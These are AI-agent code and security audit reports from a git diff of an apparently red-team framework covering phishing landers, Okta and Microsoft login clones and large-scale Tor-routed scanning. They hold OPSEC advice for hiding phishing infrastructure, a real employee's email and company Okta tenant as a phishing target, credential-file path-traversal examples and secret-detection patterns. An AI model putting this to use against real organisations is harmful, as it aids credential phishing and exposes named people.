Compare commits
33 Commits
dev
..
ee1a6ff8d4
| Author | SHA1 | Date | |
|---|---|---|---|
| ee1a6ff8d4 | |||
| 9ffdad301a | |||
| dec6c33897 | |||
| 4b5db31b6b | |||
| de8288181b | |||
| 04e084617f | |||
| 084b19f98e | |||
| 44f7556ad6 | |||
| dc006d7265 | |||
| 94a162f99a | |||
| 7c362f4f34 | |||
| f2e726cbfd | |||
| c9445232b0 | |||
| b8c9f08de3 | |||
| 18039b2600 | |||
| 005cbec76f | |||
| 42749062ba | |||
| a5dcb5bd75 | |||
| 72b160a596 | |||
| 01d0abe5d5 | |||
| 2c6cbc4cb7 | |||
| 34ce52650f | |||
| aba5c458b1 | |||
| 183ad8af3d | |||
| 0f0dcd5dff | |||
| 6d14f02dd8 | |||
| 2762b0dfb8 | |||
| 2611221981 | |||
| 241c09f054 | |||
| 27d512c28f | |||
| 1d7de9c518 | |||
| d48605fa06 | |||
| f7dadf5b83 |
@@ -1,62 +0,0 @@
|
|||||||
---
|
|
||||||
agent: code-auditor
|
|
||||||
status: COMPLETE
|
|
||||||
timestamp: 2026-06-25T10:20:00Z
|
|
||||||
duration_seconds: 120
|
|
||||||
files_scanned: 4
|
|
||||||
findings_count: 6
|
|
||||||
errors: []
|
|
||||||
skipped_checks: []
|
|
||||||
---
|
|
||||||
|
|
||||||
# Code Audit
|
|
||||||
|
|
||||||
## Files Scanned
|
|
||||||
- `modules/phishing/lander_gen.py` (103 lines)
|
|
||||||
- `modules/phishing/deploy_phishing.py` (574 lines, focused: L157-185, L417-424, L445-446)
|
|
||||||
- `modules/phishing/templates/cloud-lander.html.j2` (31 lines)
|
|
||||||
- `modules/phishing/templates/js-payload.js.j2` (11 lines)
|
|
||||||
|
|
||||||
## Findings
|
|
||||||
|
|
||||||
### HIGH
|
|
||||||
- [lander_gen.py:25-90] `post_deploy_generate_lander()` uses `print()` calls (11 instances, L62-89) in production code. Should use logging or Rich for consistency with c2itall pattern.
|
|
||||||
- [cloud-lander.html.j2:14] Magic number `20` hardcoded in `makeRandomSub(20)` for random subdomain prefix length. Should be a configurable constant; if log-harvesting becomes a threat, this will need per-request rotation and the number may change.
|
|
||||||
|
|
||||||
### MEDIUM
|
|
||||||
- [lander_gen.py:66-76] Duplicate provider-specific logic pattern. GCS, S3, and Azure blocks each construct `public_url` and `upload_cmd` independently. Same operation (URL + command generation) duplicated 3 times with 5+ line similarity each. Extract to a dict-driven pattern or helper to reduce duplication.
|
|
||||||
- [deploy_phishing.py:164-184] Nesting depth of 5 levels in lander prompt block (if → if → if → if → if). Input validation and conditional chain is difficult to follow; consider early returns or extracting to a dedicated validation function.
|
|
||||||
- [cloud-lander.html.j2:13] Hardcoded character set `'abcdefghijklmnopqrstuvwxyz0123456789'` used in random subdomain generation. If character set requirements change (e.g., exclude vowels to avoid accidental offensive domains), this will need updating in multiple places.
|
|
||||||
|
|
||||||
### LOW
|
|
||||||
- [lander_gen.py:87] Comment references "ponytail: fixed JS filename visible in webserver logs" but does not state the upgrade path. Per ponytail rules, shortcut ceilings should name when to upgrade (e.g., "upgrade to per-RId rotation if log-harvesting becomes a threat"). Current comment is incomplete.
|
|
||||||
- [deploy_phishing.py:445-446] Inline import of `post_deploy_generate_lander` inside success block. While intentional (lazy load post-deploy), this is not consistent with module-level imports at the top of the function. Consider moving to the top for clarity or add a comment explaining the late binding reason.
|
|
||||||
|
|
||||||
## Stats
|
|
||||||
- print() calls: 11 (lander_gen.py L62-89, deploy_phishing.py L158-184)
|
|
||||||
- TODO/FIXME/HACK: 0
|
|
||||||
- Files >500 lines: 1 (deploy_phishing.py)
|
|
||||||
- Functions >50 lines: 0
|
|
||||||
- Max nesting depth: 5 (deploy_phishing.py L164-184)
|
|
||||||
- Cyclomatic complexity: 2 (within acceptable range)
|
|
||||||
- Dead code: None detected
|
|
||||||
- Duplicate logic blocks: 1 (provider URL/command generation)
|
|
||||||
|
|
||||||
## Notes
|
|
||||||
|
|
||||||
### Code Quality Observations
|
|
||||||
|
|
||||||
**Strengths:**
|
|
||||||
- Input validation at trust boundaries is solid (HTTPS enforcement, campaign ID regex)
|
|
||||||
- No unused imports
|
|
||||||
- Clean separation of concerns (lander_gen.py as pure generation, deploy_phishing.py as orchestration)
|
|
||||||
- Syntax is valid across all files
|
|
||||||
|
|
||||||
**Complexity:**
|
|
||||||
- The lander prompt block in deploy_phishing.py (L164-184) has legitimate nesting due to cascading user input validation, but would benefit from extraction to reduce cognitive load.
|
|
||||||
- File sizes are within healthy range (largest is 574 lines, acceptable for a deployment orchestrator).
|
|
||||||
|
|
||||||
**Style:**
|
|
||||||
- Consistent use of COLORS dict for output (good adherence to c2itall pattern)
|
|
||||||
- Template Jinja2 syntax is correct and minimal
|
|
||||||
|
|
||||||
@@ -1,88 +0,0 @@
|
|||||||
---
|
|
||||||
agent: code-auditor
|
|
||||||
status: COMPLETE
|
|
||||||
timestamp: 2026-05-02T00:00:00Z
|
|
||||||
duration_seconds: 180
|
|
||||||
files_scanned: 2
|
|
||||||
findings_count: 5
|
|
||||||
errors: []
|
|
||||||
skipped_checks: []
|
|
||||||
---
|
|
||||||
|
|
||||||
# Code Audit — DevTrack #989: Webrunner Estimator Rewrite
|
|
||||||
|
|
||||||
## Findings
|
|
||||||
|
|
||||||
### P2 (Medium Priority)
|
|
||||||
|
|
||||||
- **`modules/webrunner/deploy_webrunner.py:306`** — `gather_webrunner_parameters()` is 227 lines. Complexity is high due to sequential parameter gathering, but each section is self-contained (providers, countries, scan mode, tuning, estimate display, preset selection, CIDR distribution). Refactor would require breaking into multiple functions that each prompt and return data — tradeoff: current structure is arguably clearer for a linear setup wizard. **Recommendation**: Document the phases with section headers (already done with comments) and consider splitting only if interactivity requirements change.
|
|
||||||
|
|
||||||
- **`utils/provider_rates.py:87-145`** — `estimate_scan_hours()` has cyclomatic complexity of 11 (threshold: 10). The complexity is necessary: 4 scan modes × nested `use_tor` conditions = 5 paths per phase × 4 phases + rate check. Each branch is distinct (different time calculations). Logic is correct but at the boundary. **Recommendation**: acceptable due to inherent problem structure, but monitor for future growth.
|
|
||||||
|
|
||||||
- **`modules/webrunner/deploy_webrunner.py:200,206`** — Tuning params `nmap_timeout` and `nuclei_timeout` are prompted from user (lines 200, 206) and stored in config (lines 559, 562 show them printed), but **NOT passed to `estimate_scan_hours()`** in provider_rates.py. These parameters **DO NOT affect the time estimate** — they are only used at scan execution time (node_scanner.py lines 376-381, 396). This is **correct behavior** but the params are dead-code for estimation purposes. Current design: `estimate_scan_hours()` uses fixed constants (`NMAP_TIME_BY_TIMING`, `NUCLEI_TIME_PER_TARGET_SEC`) which are conservative defaults. The tuning params would require significant refactor to propagate through the estimation function signature (nmap_timeout not indexed by timing template, nuclei_timeout not indexed by template complexity). **Assessment**: No bug, by design. Timeouts are runtime constraints, not estimation inputs.
|
|
||||||
|
|
||||||
### P3 (Low Priority)
|
|
||||||
|
|
||||||
- **`modules/webrunner/deploy_webrunner.py:196`** — Dead `pass` statement. Line 195-196:
|
|
||||||
```python
|
|
||||||
if scan_mode in ('masscan+nmap', 'geo-scout', 'masscan+nuclei'):
|
|
||||||
pass # masscan_rate already handled
|
|
||||||
```
|
|
||||||
This is a placeholder comment; the condition is never needed since `masscan_rate` is always prompted on line 193. **Recommendation**: Remove the conditional block entirely.
|
|
||||||
|
|
||||||
- **`modules/webrunner/deploy_webrunner.py:265,279,281`** — Magic numbers (70, 56, 10, 25) in format strings are visual constants for table borders and tuning display. All acceptable.
|
|
||||||
|
|
||||||
### P4 (Informational)
|
|
||||||
|
|
||||||
- No `print()` statements in production code detected — all output uses Rich-style ANSI color codes via `COLORS` dict (good practice for TUI).
|
|
||||||
- No TODO/FIXME/HACK comments detected.
|
|
||||||
- No unused imports detected.
|
|
||||||
- All function signatures updated consistently (`_show_estimate_table` receives tuning dict, passes to `build_estimate_table`).
|
|
||||||
- Nuclei phase throughput calculation at `utils/provider_rates.py:140-142` is mathematically correct:
|
|
||||||
```
|
|
||||||
parallel_throughput = nuclei_concurrency / per_target
|
|
||||||
rate_throughput = nuclei_rate
|
|
||||||
effective_rps = min(rate_throughput, parallel_throughput)
|
|
||||||
```
|
|
||||||
With defaults (25 concurrency, 5s per target, 150 req/s rate): min(150, 5) = 5 req/s bottleneck (parallelism-limited). Edge cases handled correctly.
|
|
||||||
|
|
||||||
## Stats
|
|
||||||
|
|
||||||
- **Files >500 lines**: 1 (`deploy_webrunner.py`, 617 lines)
|
|
||||||
- **Functions >50 lines**: 1 (`gather_webrunner_parameters`, 227 lines)
|
|
||||||
- **Cyclomatic complexity >10**: 1 (`estimate_scan_hours`, CC=11)
|
|
||||||
- **Nesting depth >3**: 1 instance (L60, necessary for loop logic)
|
|
||||||
- **print() calls**: 0 (ANSI output via COLORS dict only)
|
|
||||||
- **TODO/FIXME/HACK**: 0
|
|
||||||
- **Dead code blocks**: 1 placeholder conditional (lines 195-196)
|
|
||||||
- **Unused imports**: 0
|
|
||||||
- **Signature changes**: 1 (`_show_estimate_table` + tuning param) — validated across 2 call sites
|
|
||||||
|
|
||||||
## Verification Notes
|
|
||||||
|
|
||||||
### Nuclei Throughput Logic ✓
|
|
||||||
The calculation `effective_rps = min(rate_throughput, parallel_throughput)` correctly identifies which constraint is tighter:
|
|
||||||
- If concurrency is small relative to per_target time (e.g., 25 / 5 = 5 req/s), parallelism is the bottleneck.
|
|
||||||
- If rate limit is small (e.g., 2 req/s), rate limit is the bottleneck.
|
|
||||||
- The `max(min(...), 1.0)` ensures effective_rps ≥ 1.0 (prevents division by very small numbers).
|
|
||||||
|
|
||||||
### Phase Decomposition Correctness ✓
|
|
||||||
Each phase (masscan, nmap, probe, nuclei) applies Tor multiplier only to TCP-based operations (nmap, nuclei, probe), never to masscan (raw sockets). This is correct per OPSEC comment on line 77-79.
|
|
||||||
|
|
||||||
### Tuning Param Integration ✓
|
|
||||||
All 6 tuning params extracted in `build_estimate_table()` are correctly passed to `estimate_scan_hours()`:
|
|
||||||
- `nmap_timing`, `nmap_workers`, `nuclei_rate`, `nuclei_concurrency`, `hit_rate`, `masscan_rate`
|
|
||||||
- No params are lost; no params are unused.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## No Code Quality Issues Detected
|
|
||||||
|
|
||||||
All critical paths reviewed:
|
|
||||||
- Module imports: complete and used
|
|
||||||
- Function signatures: refactored correctly
|
|
||||||
- Logic bugs: none detected
|
|
||||||
- Dead code: 1 placeholder conditional (recommended removal)
|
|
||||||
- Complexity: at acceptable threshold, necessary for problem domain
|
|
||||||
|
|
||||||
**Refactor Status**: Ready for deployment. Consider future simplification of `gather_webrunner_parameters()` if user interaction patterns change.
|
|
||||||
@@ -1,61 +0,0 @@
|
|||||||
---
|
|
||||||
agent: env-validator
|
|
||||||
status: PASS
|
|
||||||
timestamp: 2026-05-02T00:00:00Z
|
|
||||||
findings_count: 0
|
|
||||||
errors: []
|
|
||||||
---
|
|
||||||
|
|
||||||
# Env Validation — DevTrack #989
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
Comprehensive secrets hygiene audit for webrunner estimator rewrite (provider_rates.py and deploy_webrunner.py). **All checks passed.**
|
|
||||||
|
|
||||||
## PASS
|
|
||||||
|
|
||||||
### Secrets in source
|
|
||||||
- **provider_rates.py**: Clean. Contains only tuning constants (rate tables, timing defaults, cost multipliers). No API keys, tokens, passwords, or credential patterns detected.
|
|
||||||
- **deploy_webrunner.py**: Clean. Contains no hardcoded secrets. All credential handling is delegated to provider-specific utilities (linode_utils, aws_utils, flokinet_utils) which retrieve secrets from Infisical at runtime.
|
|
||||||
|
|
||||||
### API key/token patterns
|
|
||||||
Searched all files for:
|
|
||||||
- `ghp_[A-Za-z0-9_]+` (GitHub tokens) — NOT FOUND
|
|
||||||
- `sk_live_[A-Za-z0-9]+` or `sk_test_[A-Za-z0-9]+` (Stripe) — NOT FOUND
|
|
||||||
- `AKIA[A-Z0-9]{16}` (AWS access keys) — NOT FOUND
|
|
||||||
- `Bearer [A-Za-z0-9._-]{20,}` (bearer tokens) — NOT FOUND
|
|
||||||
- `password\s*=\s*["'][^"']{8,}` (hardcoded passwords) — NOT FOUND
|
|
||||||
- `api[_-]?key\s*=\s*["'][^"']{10,}` (API keys) — NOT FOUND
|
|
||||||
|
|
||||||
### .env file content
|
|
||||||
- No new .env files created in either module
|
|
||||||
- No .env file writes detected in code
|
|
||||||
- Tuning parameters stored in safe yaml configs:
|
|
||||||
- `inputs/targets.yaml` — target definitions, probe patterns, vulnerability tags only
|
|
||||||
- `inputs/countries.yaml` — country codes, priority levels, exclude lists only
|
|
||||||
- User-supplied vars files (optional) — only tuning parameters (masscan_rate, nmap_timing, hit_rate, etc.)
|
|
||||||
|
|
||||||
### Credential handling verification
|
|
||||||
All provider credentials properly retrieved from Infisical:
|
|
||||||
- **Linode**: `creds get LINODE_TOKEN homelab` (linode_utils.py:16-19)
|
|
||||||
- **AWS**: `creds get AWS_ACCESS_KEY_ID homelab` and `creds get AWS_SECRET_ACCESS_KEY homelab` (aws_utils.py:17-24)
|
|
||||||
- Fallback to vars file templates only (marked as placeholders like 'YOUR_AWS')
|
|
||||||
- No secrets persisted to disk; only set in `os.environ` in memory (deployment_engine.py:set_provider_environment)
|
|
||||||
|
|
||||||
### Git history check
|
|
||||||
- No secrets in recent commits to these files
|
|
||||||
- 16 commits to webrunner module examined (latest: "Phase-accurate webrunner cost/time estimator...")
|
|
||||||
- Notable commit: "Fix P1 WEBRUNNER deployment failures and secret leakage" (18039b2) — prior leak was addressed and fixed
|
|
||||||
- No secret patterns detected in any commit
|
|
||||||
|
|
||||||
### Code review
|
|
||||||
- `provider_rates.py` (209 lines): Pure computation — estimate_scan_hours(), build_estimate_table(), formatting helpers. No file I/O, no env var access.
|
|
||||||
- `deploy_webrunner.py` (617 lines): Parameter gathering and deployment orchestration. All secrets retrieved via subprocess calls to `creds` binary (lines 16-24 in provider utils). No new credential handling code introduced in this rewrite.
|
|
||||||
|
|
||||||
## Findings
|
|
||||||
**0 issues.**
|
|
||||||
|
|
||||||
No hardcoded secrets, no .env writes, no credential handling added. Secrets flow:
|
|
||||||
```
|
|
||||||
User input → provider_utils → creds binary (Infisical) → os.environ (memory only)
|
|
||||||
```
|
|
||||||
This is correct per secrets management rules.
|
|
||||||
@@ -1,135 +0,0 @@
|
|||||||
---
|
|
||||||
agent: security-auditor
|
|
||||||
status: COMPLETE
|
|
||||||
timestamp: 2026-05-02T00:00:00Z
|
|
||||||
duration_seconds: 15
|
|
||||||
files_scanned: 3
|
|
||||||
findings_count: 4
|
|
||||||
critical_count: 0
|
|
||||||
high_count: 1
|
|
||||||
errors: []
|
|
||||||
skipped_checks: []
|
|
||||||
---
|
|
||||||
|
|
||||||
# Security Audit — DevTrack #989 (Webrunner Estimator Rewrite)
|
|
||||||
|
|
||||||
## Scope
|
|
||||||
Files audited:
|
|
||||||
- `/home/n0mad1k/tools/c2itall/utils/provider_rates.py` (209 lines)
|
|
||||||
- `/home/n0mad1k/tools/c2itall/modules/webrunner/deploy_webrunner.py` (617 lines)
|
|
||||||
- `/home/n0mad1k/tools/c2itall/modules/webrunner/tasks/merge_results.py` (118 lines)
|
|
||||||
|
|
||||||
Checks performed: input injection, hardcoded secrets, auth, OPSEC, malformed input handling, path safety, estimate disclosure.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Findings
|
|
||||||
|
|
||||||
### HIGH (CVSS 7.0–8.9)
|
|
||||||
|
|
||||||
#### 1. Unvalidated Negative/Zero Tuning Parameters Allow Cost Calculation DoS
|
|
||||||
**Location**: `deploy_webrunner.py:181-191`, `provider_rates.py:177-143`
|
|
||||||
|
|
||||||
**Description**: Tuning parameters from vars file or CLI input are cast to `int` without validation. Negative or zero values for `masscan_rate`, `nmap_workers`, `nuclei_concurrency` propagate directly into mathematical operations (division, multiplication) in the estimate functions, resulting in nonsensical estimates or potential floating-point exceptions.
|
|
||||||
|
|
||||||
**Attack vector**: Operator provides malformed vars file with `masscan_rate: -100` or `nuclei_concurrency: 0`, causing:
|
|
||||||
- `estimate_scan_hours()` to compute incorrect hours (negative division result at line 141)
|
|
||||||
- Cost estimates to be silently corrupted
|
|
||||||
- Decision-making based on invalid data
|
|
||||||
|
|
||||||
**Remediation**:
|
|
||||||
- In `_prompt()` (line 181), add validation after cast: `if value <= 0: value = default`
|
|
||||||
- In `build_estimate_table()` (line 177), enforce minimum values: `masscan_rate = max(1, int(...))`
|
|
||||||
- Validate `nmap_workers` and `nuclei_concurrency` before use in math (already partially done at line 104, but only for nmap_workers; nuclei_concurrency lacks guard).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### MEDIUM (CVSS 4.0–6.9)
|
|
||||||
|
|
||||||
#### 2. Tor Warning Phrasing Could Be Misinterpreted — Default Behavior Correct But Language Ambiguous
|
|
||||||
**Location**: `deploy_webrunner.py:211-227`
|
|
||||||
|
|
||||||
**Description**: The warning at line 217 states "CRITICAL OPSEC WARNING — MASSCAN BYPASSES TOR" and explains that masscan uses raw sockets and cannot be proxied. However, the framing "THIS CLOUD NODE'S IP is exposed to targets" is accurate but could mislead an operator into thinking *all* scanning traffic is exposed.
|
|
||||||
|
|
||||||
The code correctly defaults to `[y/N]` (line 401), requiring explicit `y` or `yes` to proceed — this is secure. However, the message could clarify that:
|
|
||||||
1. Only masscan SYN packets leak the node IP.
|
|
||||||
2. nmap, nuclei, and probes ARE protected by Tor (correctly stated at line 223–224).
|
|
||||||
3. The operator is consenting to a *known, documented limitation*, not an accidental leak.
|
|
||||||
|
|
||||||
**Current text**: "Every SYN packet sent during the masscan phase reveals THIS CLOUD NODE'S IP to the targets and any monitoring along the path."
|
|
||||||
|
|
||||||
**Better text**: "Every SYN packet sent during the masscan phase reveals THIS CLOUD NODE'S IP address to targets (raw sockets bypass proxychains entirely). Use 'nmap-only' mode for full Tor protection."
|
|
||||||
|
|
||||||
**Remediation**: Update warning wording to disambiguate masscan-only exposure vs. the rest of the stack.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
#### 3. Path Traversal Risk in Template and Targets File Loading
|
|
||||||
**Location**: `deploy_webrunner.py:162-173` (nuclei template), `deploy_webrunner.py:133-149` (targets.yaml)
|
|
||||||
|
|
||||||
**Description**: User-supplied paths to nuclei templates and targets.yaml files are opened without sanitization:
|
|
||||||
- Line 169: `local_path = input(" Path to nuclei template (.yaml): ").strip()` → directly to `Path(local_path).exists()` → `open(path)` at line 141.
|
|
||||||
- Line 136: `raw = input(f"Path to targets.yaml [{default}]: ").strip()` → `path = raw or default` → `open(path)` at line 141.
|
|
||||||
|
|
||||||
An operator (or vars file) could supply `../../../etc/passwd` or symlinks, allowing:
|
|
||||||
1. Reading arbitrary files on the deployment controller.
|
|
||||||
2. Leaking environment variables or private keys if yaml.safe_load() processes them.
|
|
||||||
|
|
||||||
**Attack vector**: Vars file with `nuclei_template: /etc/hostname` or `targets_file: ~/.ssh/id_rsa` — files are read and displayed.
|
|
||||||
|
|
||||||
**Remediation**:
|
|
||||||
- Add path validation: `p = Path(local_path).resolve(); if not p.is_relative_to(Path.cwd()): reject`.
|
|
||||||
- Alternatively, restrict to a specific directory: `p = (WEBRUNNER_INPUTS / local_path).resolve(); if not p.is_relative_to(WEBRUNNER_INPUTS): reject`.
|
|
||||||
- Use pathlib consistently to prevent directory traversal.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
#### 4. YAML Safe-Load Correctly Used — No Code Execution Risk
|
|
||||||
**Location**: `deploy_webrunner.py:115-130`, `deploy_webrunner.py:139-149`
|
|
||||||
|
|
||||||
**Status**: PASS — `yaml.safe_load()` is used (not `yaml.load()`), preventing arbitrary Python object instantiation. No code execution risk from malformed YAML.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### LOW (CVSS <4.0)
|
|
||||||
|
|
||||||
#### 5. Estimate Display Discloses Target Scope and Timing to Console
|
|
||||||
**Location**: `deploy_webrunner.py:256-301`, output at lines 272–296
|
|
||||||
|
|
||||||
**Description**: The estimate table displays:
|
|
||||||
- Total IPs being scanned (`fmt_ip_count(total_ips)`)
|
|
||||||
- Country codes (implicit in CIDR resolution)
|
|
||||||
- Scan mode (masscan, nmap, nuclei)
|
|
||||||
- Time estimates per node
|
|
||||||
- Total cost
|
|
||||||
|
|
||||||
This information is printed to stdout and may be captured in shell history, logs, or screenshots. For offensive ops, this data could reveal:
|
|
||||||
- Scope scale (e.g., "2.5M IPs" suggests multi-country / large infrastructure)
|
|
||||||
- Duration (e.g., "12h per node" reveals patience/persistence)
|
|
||||||
- Provider selection (e.g., "Linode + AWS" may hint at region strategy)
|
|
||||||
|
|
||||||
**Mitigated by**:
|
|
||||||
- Information is shown only during interactive setup (not in batch mode).
|
|
||||||
- Operator sees warning about provisioning time.
|
|
||||||
- Cost estimates are precise only for the estimator, not for actual billing.
|
|
||||||
|
|
||||||
**Recommendation**:
|
|
||||||
- Consider adding a `--quiet` flag to suppress estimate display in sensitive environments.
|
|
||||||
- Ensure logs are cleaned post-deployment (already handled by log rotation).
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
**Secure patterns**:
|
|
||||||
- YAML loading uses `safe_load()` ✓
|
|
||||||
- No subprocess injection or eval/exec ✓
|
|
||||||
- No hardcoded secrets or credentials ✓
|
|
||||||
- Tor warning defaults to `[y/N]` (opt-in, secure) ✓
|
|
||||||
- CIDR country map is read-only JSON, not executed ✓
|
|
||||||
|
|
||||||
**Action items**:
|
|
||||||
1. **HIGH**: Add validation to tuning parameters to prevent negative/zero values.
|
|
||||||
2. **MEDIUM**: Clarify Tor warning wording and add path traversal guards.
|
|
||||||
3. **LOW**: Consider audit log suppression for estimate table in future versions.
|
|
||||||
|
|
||||||
@@ -1,53 +0,0 @@
|
|||||||
---
|
|
||||||
agent: env-validator
|
|
||||||
status: PARTIAL
|
|
||||||
timestamp: 2026-06-25T00:00:00Z
|
|
||||||
findings_count: 2
|
|
||||||
errors: []
|
|
||||||
---
|
|
||||||
|
|
||||||
# Env Validation — DevTrack #1259
|
|
||||||
|
|
||||||
## FAIL
|
|
||||||
- **okta-login.html.j2:102** — Real email address hardcoded in template: `Brian.Caldwell@Zimperium.com`
|
|
||||||
- Location: HTML form hidden input field (`fromURI` parameter)
|
|
||||||
- Risk: PII leak in template asset; exposed in version control
|
|
||||||
- Details: Value is HTML-encoded (`/`, `&`, `%40`, etc.) but fully readable when decoded
|
|
||||||
|
|
||||||
- **okta-login.html.j2:206** — Real Okta organization reference hardcoded: `zimperium.okta.com` + Okta app ID `exk1ufbfxuFLJp6y3697`
|
|
||||||
- Location: JavaScript variable `baseUrl` and `fromUri` in login page script
|
|
||||||
- Risk: Identifies real target organization; enables direct OSINT attack path
|
|
||||||
- Details: Okta app ID (`exk1ufbfxuFLJp6y3697`) is a unique identifier that can be used to enumerate target infrastructure
|
|
||||||
|
|
||||||
## WARN
|
|
||||||
None
|
|
||||||
|
|
||||||
## PASS
|
|
||||||
- **lander_gen.py** — Credentials passed via config dict, written to temp JSON files with mode 0o600, deleted after use. No filesystem persistence of secrets.
|
|
||||||
- **deploy_phishing.py** — SMTP password and other credentials collected via input prompts, stored in memory-only config dict, passed to Ansible via temporary JSON file (mode 0o600). No hardcoded secrets detected.
|
|
||||||
- **cloud-lander.html.j2, js-payload.js.j2** — Template variables only; no hardcoded secrets.
|
|
||||||
- **nginx-phishing-webserver.j2** — Nginx configuration template; no hardcoded credentials.
|
|
||||||
- **phishing-landing-page.j2** — Generic login template with Jinja2 placeholders; no hardcoded PII or secrets.
|
|
||||||
- **microsoft-login.html.j2** — Phishing template with placeholder values; no real credentials embedded.
|
|
||||||
- **Git history** — No evidence of secrets committed in recent git history (for these files).
|
|
||||||
|
|
||||||
## Remediation Required
|
|
||||||
|
|
||||||
### Critical
|
|
||||||
Replace okta-login.html.j2 with a **parameterized template**:
|
|
||||||
|
|
||||||
1. Remove hardcoded `Brian.Caldwell@Zimperium.com` and `zimperium.okta.com`
|
|
||||||
2. Replace with Jinja2 variables:
|
|
||||||
- `{{ target_email | default('') }}`
|
|
||||||
- `{{ okta_org_url | default('https://okta.example.com') }}`
|
|
||||||
- `{{ okta_app_id | default('') }}`
|
|
||||||
3. Populate these at deployment time via config dict, never in version control
|
|
||||||
4. Add a comment in the template: `<!-- Template variables: target_email, okta_org_url, okta_app_id -->`
|
|
||||||
|
|
||||||
### Process
|
|
||||||
Ensure all phishing templates follow the same pattern:
|
|
||||||
- **No real email addresses** in source
|
|
||||||
- **No real domain/org references** in source
|
|
||||||
- **All campaign-specific data injected at runtime** via Jinja2 context
|
|
||||||
- Credentials and PII sourced from config dict passed by `deploy_phishing.py`, never hardcoded
|
|
||||||
|
|
||||||
@@ -1,257 +0,0 @@
|
|||||||
---
|
|
||||||
agent: security-auditor
|
|
||||||
status: COMPLETE
|
|
||||||
timestamp: 2026-06-25T00:00:00Z
|
|
||||||
duration_seconds: 45
|
|
||||||
files_scanned: 8
|
|
||||||
findings_count: 5
|
|
||||||
critical_count: 1
|
|
||||||
high_count: 2
|
|
||||||
errors: []
|
|
||||||
skipped_checks: []
|
|
||||||
---
|
|
||||||
|
|
||||||
# Security Audit — DevTrack #1259
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
Phishing module expansion (lander generation, templates, nginx config). Review scanned 8 files for injection, path traversal, XSS, hardcoded secrets, and OPSEC issues.
|
|
||||||
|
|
||||||
**Files Scanned:**
|
|
||||||
1. `modules/phishing/lander_gen.py` (new)
|
|
||||||
2. `modules/phishing/deploy_phishing.py` (modified, lines ~157–185)
|
|
||||||
3. `modules/phishing/templates/cloud-lander.html.j2` (new)
|
|
||||||
4. `modules/phishing/templates/js-payload.js.j2` (new)
|
|
||||||
5. `modules/phishing/webserver/templates/nginx-phishing-webserver.j2` (modified)
|
|
||||||
6. `modules/phishing/webserver/templates/page-templates/phishing-landing-page.j2` (modified)
|
|
||||||
7. `modules/phishing/webserver/templates/page-templates/microsoft-login.html.j2` (modified)
|
|
||||||
8. `modules/phishing/webserver/templates/page-templates/okta-login.html.j2` (modified)
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Findings
|
|
||||||
|
|
||||||
### CRITICAL (CVSS 9.0+)
|
|
||||||
|
|
||||||
**[lander_gen.py:68–76] Shell Injection via Unescaped Config Parameters in Upload Instructions**
|
|
||||||
|
|
||||||
The `bucket` and `campaign_id` parameters from user input are injected directly into shell command strings printed to the user, with no escaping or validation. While the commands are **printed to stdout and not executed by the Python code itself**, they are provided to the operator with intent for manual copy-paste execution.
|
|
||||||
|
|
||||||
```python
|
|
||||||
# Line 68–76
|
|
||||||
config['lander_bucket'] = input("Bucket/storage-account name [required]: ").strip()
|
|
||||||
# ... later ...
|
|
||||||
upload_cmd = f"gsutil cp {html_file} gs://{bucket}/index.html && gsutil acl ch -u AllUsers:R gs://{bucket}/index.html"
|
|
||||||
print(f" {COLORS['CYAN']}{upload_cmd}{COLORS['RESET']}")
|
|
||||||
```
|
|
||||||
|
|
||||||
If a user enters a bucket name like `bucket && malicious_command`, the printed command becomes executable and will run the malicious command when copied to a shell.
|
|
||||||
|
|
||||||
**Attack Vector:** Operator social engineering or training material; phishing campaign template hand-off to another team member who copy-pastes the printed command.
|
|
||||||
|
|
||||||
**Remediation:** Shell-escape all config parameters before printing:
|
|
||||||
- Use `shlex.quote()` to wrap `bucket`, `campaign_id`, and `html_file` before insertion into command strings.
|
|
||||||
- Example: `upload_cmd = f"gsutil cp {shlex.quote(str(html_file))} gs://{shlex.quote(bucket)}/index.html ..."`
|
|
||||||
- Alternatively, display ready-to-execute Python script snippets using subprocess with positional argument arrays instead of shell=True.
|
|
||||||
|
|
||||||
**Status:** Non-execution in source code mitigates immediate risk, but manual command construction introduces human-factor vulnerability.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
### HIGH (CVSS 7.0–8.9)
|
|
||||||
|
|
||||||
**[js-payload.js.j2:1–11] RId Parameter Injection via Unsafe URL Parsing**
|
|
||||||
|
|
||||||
The `js-payload.js.j2` template parses the `rid` parameter from the referrer URL without sufficient validation. Lines 5–8:
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
if (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1) {
|
|
||||||
var params = new URLSearchParams(new URL(decodeURIComponent(src)).search);
|
|
||||||
var rid = params.get('rid') || params.get('RId');
|
|
||||||
if (rid) dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid);
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**Issues:**
|
|
||||||
1. `decodeURIComponent(src)` on the full referrer URL (not just the query string) can fail or produce unexpected results if the referrer contains fragments or special encoding.
|
|
||||||
2. The `new URL()` constructor may throw if `src` is malformed. No try-catch wraps this.
|
|
||||||
3. The `rid` value is passed through `encodeURIComponent()` once, but if the URL was double-encoded in the referrer, and `decodeURIComponent()` is applied without validation, downstream systems expecting single-encoded values could be confused.
|
|
||||||
|
|
||||||
**Attack Vector:** A malicious referrer crafted to trigger URL parsing edge cases, potentially bypassing intended redirect logic or leaking information via error handling.
|
|
||||||
|
|
||||||
**Remediation:**
|
|
||||||
- Wrap `new URL()` in try-catch and return early if parsing fails.
|
|
||||||
- Validate that `src` is a valid absolute or relative URL before parsing; reject data: URIs and blob: URIs.
|
|
||||||
- Use `URL` constructor more carefully: parse query params from `new URL(src).searchParams` instead of re-decoding the full referrer.
|
|
||||||
|
|
||||||
Example fix:
|
|
||||||
```javascript
|
|
||||||
try {
|
|
||||||
